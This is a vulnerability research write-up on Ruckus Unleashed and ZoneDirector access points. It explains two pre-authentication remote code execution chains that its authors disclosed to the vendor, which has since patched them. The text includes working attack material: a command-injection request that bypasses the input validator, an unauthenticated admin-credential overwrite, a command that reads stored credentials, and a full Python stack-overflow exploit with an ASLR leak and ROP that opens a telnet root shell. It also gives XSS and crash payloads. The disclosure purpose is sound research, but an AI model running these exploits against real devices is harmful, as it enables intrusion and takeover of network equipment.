This article presents a follow-up vulnerability research conducted on Ruckus access points. Ruckus Networks is a company selling wired and wireless networking equipment and software. For the right context, we recommend checking our previous research found here.
This current research resulted in 2 different pre-authentication remote code executions. Exploitation uses vulnerabilities such as information leakage, credentials overwrite, authentication bypass, command injection, and stack overflow. Vulnerabilities were found and verified on Ruckus’s Unleashed product line and ZoneDirector product line. We also found XSS, DoS, and information leakage vulnerabilities.
Our first research focused on ‘/bin/emfd’, which is the web interface logic. We discovered 10 CVEs that lead to 3 different RCEs. After the disclosure process with Ruckus was complete, we checked that Ruckus indeed fixed all the vulnerabilities correctly. We discovered that CVE-2019-19838 was not patched correctly and can still be used for OS command injection. We then decided to conduct follow-up research and tried to gain a pre-auth RCE again. After achieving this (and since we now own an actual R510 Unleashed device), we continued to research other binaries not covered in our first research.
Before we begin, we would like to present the binaries that were found vulnerable in this research:
/bin/webs
- This webserver is based on the “Embedthis-Appweb” open-source project. It handles HTTP/S requests and executes handlers according to its configuration. It then sends commands through a Unix domain socket to emfd./bin/emfd
- This executable contains the web interface logic. It maps functions from jsp pages to its functions. It implements web interface commands such as backup, network/firewall configuration, retrieval of system information, and more./usr/lib/libemf.so
- This library is used by emfd for web authentication and sanitization.In this scenario, we found a way to reuse the command injection vulnerability (CVE-2020-13919) from our previous research. We then bypassed authentication by using the admin credentials overwriting vulnerability (CVE-2020-13915).
Our first research found a post-authentication command injection vulnerability in 4 emfd functions (CVE-2019-19838). These functions were using libc’s system()
without validating input parameters. After we informed Ruckus about this, they tried to fix this by using a validation function from libemf.so
called is_validate_input_string()
:
This function checks whether a given string contains any on the following characters $;&()|"<>'\
␣` and if so, denies the request.
At first, it might seem like proper validation. Still, we decided to thoroughly check this validator by creating a set of valid non-alphanumeric printable ASCII set, which is ,-:?.![]{}[]+*=#%@\^_~
.
Now that we got our primitives set, we performed some trial and error to determine whether command execution is still possible. Luckily, our set contains some very interesting primitives, particularly the pound sign (#
), the exclamation mark (!
), and slash (/
). Together, these characters can create a shebang symbol. In Unix-like systems, this character sequence informs the program loader which interpreter to use. In our case, we could use #!/bin/sh
to bypass validation and execute shell commands. However, we couldn’t just append a command right after #!/bin/sh
. POSIX interpreters execute commands only when there is a new line after the shebang. Thankfully there’s no validation for a new line character (\n
), so we could append a new line with a command to be executed right after the shebang. The only problem left to solve was that space was also not a valid character. That means we had to find a different character that works instead of space. Perhaps you already guessed by now - we simply replaced spaces with tabs. That is how we overcame the is_validate_input_string()
validator and executed arbitrary commands once again.
Here’s an example of a vulnerable request that executes a sleep 10
command:
POST /admin/_cmdstat.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
X-CSRF-Token: 1VvEMc1nbx
Cookie: -ejs-session-=x0ea15a04dc0b243874d37739741e4946
Content-Length: 205
<ajax-request action='docmd' xcmd='get-platform-depends' updater='system.1568118269965.3208' comp='system'>
<xcmd cmd='import-avpport' uploadFile='#!/bin/sh\nsleep\t10' type='wlan-maxnums'/>
</ajax-request>
Since Ruckus fixed our previous authentication bypass, we still had to find a new way to bypass authentication to complete our pre-auth RCE.
To bypass authentication, we first must find a jsp
page that calls some functionality. Furthermore, we need a page that doesn’t verify session authentication.
Let’s have a look at /web/admin/_wla_conf.jsp
page, which uses an emfd
function called AjaxConf()
. This function expects an ajax XML request with an action attribute, that in our case can be either setconf
or docmd
. We discovered that the setconf
function was vulnerable to credentials overwrite, and we will explain more about this later.
But first, we would like to describe how this function was reachable without authentication. This is what the /web/admin/_wla_conf.jsp
page looks like:
<%
Delegate("WithoutLoginAccessCheck", session\["cid"\], 'true');
Delegate("AjaxConf", session\["cid"\]);
%>
Our previous research revealed that the SessionCheck()
function is used for verifying user authentication before reaching additional functions in the jsp
page. Thankfully this page doesn’t use SessionCheck()
. However, we still had to pass WithoutLoginAccessCheck
to reach the vulnerable AjaxConf
function.
Let’s first understand what WithoutLoginAccessCheck
expects:
We realized from WithoutLoginAccessCheck()
decompiled code, that it expects an Ajax XML request with an action attribute. If the action attribute is setconf
or docmd
, it will call CheckResetCredential
ConfPara()
or CheckResetCredential
CmdPara()
, respectively. These two functions validate that the ajax XML request contains the right attribute names for each function.
When reaching to CheckResetCredential
CmdPara()
, its action attribute is docmd
. Therefore, it triggers an adapter_docommand
function that calls a large function called doCommand
in emfd
. Sadly, the functionality we reached through CheckResetCredential
CmdPara()
is very limited, since it only permits five commands that either validate or retrieve system information.
For that reason, we decided to focus on CheckResetCredential
ConfPara()
. Its action attribute is setconf
, causing it to trigger the adapter_setConf()
function when it reaches AjaxConf
. This function can update configuration files in the device’s configuration directory, /writable/etc/airspider
.
Similar to the CheckResetCredential
CmdPara()
function, CheckResetCredential
ConfPara()
also checks that an ajax request contains valid attributes. It expects an admin XML element with the following values:
The above decompiled code shows us that 7 attributed are needed by CheckResetCredential
ConfPara()
- username
, fallback-local
, authsvr-id
, auth-by
, x-password
, IS_PARTIAL
, reset
, and auth-token
. That’s how we reconstructed the following valid ajax request, that passes the CheckResetCredential
ConfPara()
check and continues to AjaxConf()
:
<ajax-request action='setconf' updater='acl-list.1579433244273.4243' comp='system'>
<admin username="admin" x-password="1234" auth-token="" reset=true IS_PARTIAL="" auth-by="local" authsvr-id='0' fallback-local="true" />
</ajax-request>
system.xml
is the primary system configuration file found in /writable/etc/airespider/system.xml
. Among other important configurations, it also contains the admin credentials. Conveniently, the admin XML element in the ajax request has the same nodes expected by system.xml
for admin credentials. We then got the idea that we can try to overwrite admin credentials by overwriting this node in system.xml
.
Now that we finally got to AjaxConf()
, we needed to understand what functionality can be used. Since we are passing a setconf
action, AjaxConf()
will use adapter_setConf()
to update a configuration file found in /writable/etc/airspirder/{comp}.xml
. adapter_setConf()
receives which configuration file to update from the comp
attribute in the ajax XML request. If we get it to update system.xml
, we will overwrite admin credentials.
ruckus$ ls /writable/etc/airespider/
alarm-list.xml cluster mdnsproxyrule-list.bak.xml usbdev-list.bak.xml
ap-list.bak.xml custom.xml mdnsproxyrule-list.xml usbdev-list.xml
ap-list.xml dropbear policy-list.bak.xml user-list.bak.xml
apgroup-list.bak.xml dump policy-list.xml user-list.xml
apgroup-list.xml eventd-stat.xml policy6-list.bak.xml wlangroup-list.bak.xml
avpap-list.xml guest-list.bak.xml policy6-list.xml wlangroup-list.xml
avppolicy-list.bak.xml guest-list.xml syslog.conf wlansvc-list.bak.xml
avppolicy-list.xml guestservice-list.bak.xml system.bak.xml wlansvc-list.xml
avpport-list.bak.xml guestservice-list.xml system.xml
avpport-list.xml license-list.bak.xml uploadavpport_file
certs license-list.xml uploaded
ruckus$ grep admin /writable/etc/airespider/system.xml
<admin username="admin" x-password="2345" auth-token="" reset="true" \\
IS_PARTIAL="" auth-by="local" authsvr-id="0" fallback-local="true" />
The difficulty with adapter_setConf()
was that it couldn’t just update system.xml
. If the comp
attribute was set to “system”, it could only update a specific node called “adv-radio”, which was not our desired admin node. Thankfully, if the comp
attribute wasn’t set to “system”, we could get adapter_setConf()
to update any other configuration file with our admin node.
This update was achievable because we realized that the comp
attribute was the actual XML file name. For example, when comp
was set to “system”, adapter_setConf()
would update /writable/etc/airespider/system.xml
, and if comp
was set to “ap-list”, adapter_setConf()
would update /writable/etc/airespider/ap-list.xml
. Our holy grail was to find a comp
value that was not “system”, while still being able to update /writable/etc/airespider/system.xml
. In other words, we had to find a way to access system.xml without setting comp
to “system.xml”. Problematic, right?
Thankfully, we could use slash (“/”) for our rescue. By using “/system.xml” instead of on “system.xml”, we managed to overcome this obstacle. The comp
attribute is no longer equal to “systeml.xml”. Since POSIX allows us to use multiple slashes in a file path, /writable/etc/airespider//system.xml is perfectly fine and can be updated by adapter_setConf()
.
We could now use this following unauthenticated HTTP request to overwrite admin credentials to admin:1234
.
POST /admin/_wla_conf.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
Content-Length: 239
Connection: close
<ajax-request action='setconf' updater='acl-list.1579433244273.4243' comp='/system'>
<admin username="admin" x-password="1234" auth-token="" reset=true IS_PARTIAL="" auth-by="local" authsvr-id='0' fallback-local="true" />
</ajax-request>
After overwriting admin credentials, we can use the previous command injection and pop a busybox shell using telnetd
. We can also retrieve the original credentials by executing cat /tmp/var/run/rpmkey* |grep -A1 powerful
.
ruckus$ grep -A1 "all_powerful_login" /var/run/rpmkey*
/var/run/rpmkey19:all_powerful_login_name
/var/run/rpmkey19-admin
/var/run/rpmkey19:all_powerful_login_password
/var/run/rpmkey19-Lennar
Now we could avoid leaving a footprint by using the same attack with the original credentials. And this wraps our first RCE.
In this scenario, we exploited a stack overflow in code added by Ruckus to the “embedThis” web server.
In our previous research, we explained how the web interface operates, and discovered vulnerabilities in its general logic binary - emfd
. In this research, we decided to investigate Ruckus’s webserver binary. This binary is based on the “embedThis” open-source project. To make the webserver work with other logic components, Ruckus had to add code and handlers to “embedThis”. Before we get into the vulnerability itself, we would like to show how we managed to get function names from “embedThis” into the Ghidra disassembler. By doing this, we saved plenty of time on reversing and managed to spot additional code added by Ruckus very efficiently.
Our end goal was to mark the code added by Ruckus to “embedThis”. Our motivation was that since “embedThis” is an open-source project, we did not have to invest time in analyzing it with Ghidra - we could read its source code. The code we had to reverse was the one added by Ruckus. We decided to use debugging functions found in the webserver to retrieve function names from “embedThis” and mark Ruckus proprietary functions.
We noticed that many anonymous functions, such as “FUN_0014f38”, use a debug function with “server.c:138” string as an argument. We then observed the server.c file at line 138 in the “embedThis” codebase. We noticed that the function “FUN_0014f38” name was actually “maCreateHttp”. That information motivated us to create a Ghidra script that examines these debug functions. We then used the “embedThis” codebase to extract and rename functions accordingly. We also used the script from our previous research and manual reverse engineering, to mark the functions added by Ruckus with an “rks_” prefix.
Here we can see that “maCreateHttp” uses ten functions from the original “embedThis” code, two functions added by Ruckus, and three functions that could not be automatically categorized.
After retrieving the webserver’s function names, it was easier for us to understand how it operates. Ruckus created ejs handlers that execute specific functions based on the content of its ejs ( .jsp
) pages. For that, they registered their functions by calling registerEspExtension()
We noticed that Ruckus registered 12 functions. We could reach those functions by requesting a jsp page that uses the ejs handler. We discovered that the S()
, Str()
, EscapeJS()
, and GetCookieValue()
functions all use unsafe string copy. To produce a stack overflow, we then had to find a jsp page that didn’t check for authentication, and passed the user input to one of the above vulnerable functions.
We used the following grep
command to search for pages that use any of the vulnerable functions and do not use constant strings. We managed to find two pages that use the S()
function with a non-constant variable.
➜ web grep -nr "%S([^'\"s].*[^'\"])" `find . -iname "*.jsp"`
./admin/webPage/wifiNetwork/wlanSysConfirm.jsp:11: \\
<p style="line-height:30px;padding:5% 0;"><%S(content);%></p>
./user/error.jsp:19: \\
<%S(err_msg);%>
Since error.jsp
is relatively big and complex, we decided to focus on “wlanSysConfirm.jsp”. Here is the page content:
ruckus$ cat /web/admin/webPage/wifiNetwork/wlanSysConfirm.jsp
<%
var aeFlag = EscapeJStr(params["flag"]);
var content = params["contentKey"]
content = content || "UN_SendEmailOrSMS";
var showCancel = params["showCancel"]!='false'
%>
<div style="width:750px;margin-top:50px;border-radius:5px;" class="pop_box box_824" id="wlanSysConfirm">
<s class="close_tag" style="display:<%=showCancel?'':'none'%>" id="close_wlansysconfirm">×</s>
<div class="head_title">
<p style="line-height:30px;padding:5% 0;"><%S(content);%></p>
<div class="button_box">
<input type="button" value="<%S("Yes")%>" class="ok" id="sysconfirm_yes">
<input type="button" style="display:<%=showCancel?'':'none'%>" value="<%S("No")%>" class="cancel" id="sysconfirm_no">
</div>
</div>
<script>
var ae_flag = '<%=aeFlag%>';
</script>
We noticed that S()
receives a variable named “content”. Fortunately, this variable is set directly by a user parameter called “contentKey”.
To smash the webserver stack, all we had to do was send a POST request to /admin/webPage/wifiNetwork/wlanSysConfirm.jsp
with a “contentKey” body parameter larger than 264 bytes.
R510 uses both NX and ASLR. To overcome its defenses, we used ROP gadgets and a memory address leak from uclibc. We want to thank our team member Itai Greenhut for researching and developing this exploit.
ASLR bypass:
Since our stack overflow occurs in the webserver, a brute force approach will take some time, because we must wait for the webserver’s watchdog to rerun it. That is why we decided to search for a memory leak that would help us bypass the ASLR. Let’s have a look at the S()
decompiled code:
The use of strcpy()
(line 21) allows us to write data from req_str
and overflow a 256-byte buffer pointed by local_114
. Please note that we control $pc
and crash the webserver only when S()
reaches its epilog. From the decompiled code, we see that before S()
ends, it calls ejsWriteString()
(line 28) with our overflowed buffer. Luckily, ejsWriteString()
reads the content of resp_str
until it reaches a null character, and sends its content back in the HTTP response. We realized that our buffer overflow could also overwrite the null-terminating character of resp_str
.
Let’s look at the webserver memory right before the overwrite.
0xb6394030: 0x41414141 0x41414141 0x41414141 0x41414141
0xb6394040: 0x41414141 0x41414141 0x41414141 0x41414141
0xb6394050: 0x41414141 0x41414141 0x41414141 0x41414141
0xb6394060: 0x41414141 0x41414141 0x41414141 0x41414141
0xb6394070: 0x41414141 0x41414141 0x41414141 0x41414141
0xb6394080: 0x41414141 0x41414141 0x41414141 0x41414141
0xb6394090: 0x41414141 0x41414141 0x41414141 0x41414141
0xb63940a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xb63940b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xb63940c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xb63940d0: 0x41414141 0x0057c800 0xb639410c 0x00084d74
0xb63940e0: 0x00000001 0x00564100 0x00552130 0x00573250
0xb63940f0: 0x00000000 0x000000a5
The null byte right after 0xb63ed0d4
terminates the resp_str
string.
Right after the buffer, there was a pointer to a local variable on the stack with the value - 0xb63ed10c
. We realized that if we could leak this pointer, we could calculate other addresses to overcome ASLR.
Thankfully, we could make ejsWriteString()
return us this pointer with a careful overwrite. To keep the webserver memory as deterministic as possible, we decided to crash it one time, wait for it watchdog to rerun it and then leak this memory value.
Now that we found a way to bypass ASLR, we used a single gadget ROP to make r0 point to our buffer and jump to system()
.
Here’s Itai’s exploit that includes all of the above:
import time
import struct
import argparse
import urllib3
import telnetlib
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TELNET_PORT = 1337
def is_router_up(router_ip, router_port):
try:
response = requests.get("https://{}:{}/".format(router_ip, router_port), verify=False)
if response.status_code == requests.status_codes.codes.OK:
return True
except requests.exceptions.ConnectionError:
return False
def crash_webserver(router_ip, router_port):
# This request will cause a SEGFAULT and crash our webserver
# We crash the webserver to a clean state in order to be able to use our info leak.
payload = "A" * 268
try:
exploit_request(router_ip, router_port, payload)
except requests.exceptions.ConnectionError:
print("[+] Successfully crashed webserver")
def leak_address(router_ip, router_port):
payload = "A" * 264
response = exploit_request(router_ip, router_port, payload)
# Parse the response and extract the leaked address
end_index = response.find(b"</p>") - 4
leaked_address = struct.unpack("<I", response[end_index - 8:end_index - 4])
print("")
print("[+] Got address leak from the stack")
print("[+] Leaked address: {}".format(hex(leaked_address[0])))
libc_address = leaked_address[0] + 0x5e3034 # Our libuClibc library offset in a clean state
print("[+] libc address: {}".format(hex(libc_address)))
return (libc_address, leaked_address[0])
def exploit_router(router_ip, router_port, libc_address, buffer_address):
print("[*] Crafting payload")
cmd = "telnetd -p {} -l /bin/sh #".format(TELNET_PORT).encode()
payload = cmd + b"A" * (268 - len(cmd)) + b"CCCC"
payload += struct.pack("<I", libc_address + 0x31e90) # pop {r0, pc}
payload += struct.pack("<I", buffer_address) # address of the command to execute
payload += struct.pack("<I", libc_address + 0x52224) # system() address
print("[*] Address of the first gadget = {}".format(hex(libc_address + 0x31e90)))
print("[*] Address of our buffer = {}".format(hex(buffer_address)))
print("[*] Address of system = {}".format(hex(libc_address + 0x62224)))
print("[*] Sending exploit!")
exploit_request(router_ip, router_port, payload)
def exploit_request(router_ip, router_port, payload):
data = {"flag": "b", "contentKey": payload}
a = requests.post("https://{}:{}/admin/webPage/wifiNetwork/wlanSysConfirm.jsp".format(router_ip, router_port), verify=False, data=data)
return a.content
def telnet_connect(router_ip):
with telnetlib.Telnet(router_ip, TELNET_PORT) as tn:
tn.interact()
def main():
leaked = False
parser = argparse.ArgumentParser(description="Exploit for ruckus devices.")
parser.add_argument("ip", type=str, metavar="IP", help="ip address of the ruckus device")
parser.add_argument("port", type=int, metavar="PORT", help="ruckus web port [default: 443]", nargs='?', default=443)
args = parser.parse_args()
router_ip = args.ip
router_port = args.port
print("[*] Checking if the web interface is up...")
if not is_router_up(router_ip, router_port):
print("[-] web interface is down!")
return
print("[+] Web interface is up")
print("[*] Crashing webserver")
crash_webserver(router_ip, router_port)
print("[*] Waiting for watchdog to restart webserver")
while not leaked:
print(".", end="", flush=True)
time.sleep(0.5)
try:
(libc_address, buffer_address) = leak_address(router_ip, router_port)
leaked = True
except requests.exceptions.ConnectionError:
# This will happen until the webserver is up again.
pass
print("[*] Sleeping...")
time.sleep(8)
next_buffer_address = buffer_address + 4005888 # As noticed on a clean state, we are able to predict our next request buffer address.
try:
exploit_router(router_ip, router_port, libc_address, next_buffer_address)
except requests.exceptions.ConnectionError:
print("[+] Telnet should be open now on port {}".format(TELNET_PORT))
telnet_connect(router_ip)
if __name__ == "__main__":
main()
Except for above RCEs in this research we also discovered an XSS(CVE-2020-13913), DOS(CVE-2020-13914), and information leakage(CVE-2020-13918) that may lead to a jailbreak.
While researching the ajax commanding interface, we discovered a cross-site scripting vulnerability. Every ajax request to “/admin/_wla_cmdstat.jsp” has to contain an “updater” attribute. The attribute value was reflected in the ajax response as an “id” attribute. Since ajax response messages are using “text/xml” mime, we had to use this following payload to trigger an alert script.
POST /admin/_wla_cmdstat.jsp HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
<ajax-request action='docmd' updater='">
<a xmlns:a="http://www.w3.org/1999/xhtml"><a:body onload="alert(1)"/></a>
<!--' comp='system'>
<xcmd cmd='get-security-email-hint'/>
</ajax-request>
Sometimes while researching, you may get lucky. This vulnerability was found by accident. While trying to understand how “multipart/form-data” was implemented, we noticed that if an empty parameter was set to “;” right after “Content-Disposition”, then the webserver crashes.
POST / HTTP/1.1
Content-Type: multipart/from-data; boundary=abc
Content-Length: 68
--abc
Content-Disposition:; name="text123"
text default
--abc--
While we were searching for an accessible page without authentication, we came across upnp.jsp
. This page contains some interesting and sensitive information that does not require any authentication.
➜ ~ wget -q -O - http://192.168.0.1/upnp.jsp
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://192.168.0.1/</URLBase>
<device>
<deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:1</deviceType>
<friendlyName>Ruckus-Unleashed 192.168.0.1</friendlyName>
<manufacturer>Ruckus Wireless</manufacturer>
<manufacturerURL>http://www.ruckuswireless.com</manufacturerURL>
<modelDescription>Ruckus Wireless Unleashed</modelDescription>
<modelName>R510</modelName>
<modelNumber>200.7.10.202</modelNumber>
<modelURL>http://www.ruckuswireless.com/</modelURL>
<serialNumber>161902007765</serialNumber>
<UDN>uuid:edb18e23-06c3-42ff-8c6d-</UDN>
<UPC>unknown</UPC>
<iconList>
<icon>
<mimetype>image/gif</mimetype>
<width>32</width>
<height>32</height>
<depth>8</depth>
<url>/images/upnp.gif</url>
</icon>
</iconList>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WirelessSwitch:1</serviceType>
<serviceId>urn:upnp-org:serviceId:Basic1</serviceId>
<controlURL>/upnp/control/Basic1</controlURL>
<eventSubURL>/upnp/event/Basic1</eventSubURL>
<SCPDURL>/BasicSCPD.xml</SCPDURL>
</service>
</serviceList>
<presentationURL>https://192.168.0.1/</presentationURL>
</device>
</root>
The example above shows that this page includes the device model and the model number. This information can be used to check whether a device is vulnerable or not. What’s even more interesting is that this page contains the device’s serial number. An attacker can use this information to fingerprint a device. Furthermore, our previous research discovered that Ruckus uses the device serial number as a key for jailbreaking the CLI. That means an attacker could potentially use it for escaping to a busybox shell.
This follow-up research was challenging and exciting. We managed to use a new command injection payload, which we never used before. We realized once again that retrieving as much information as possible on a target binary can save a lot of time. Same as before, we informed Ruckus Wireless about the vulnerabilities. Ruckus released a fix for Unleashed AP and ZoneDirector. You can find more information about effected devices and specific firmware versions in Ruckus Security Advisory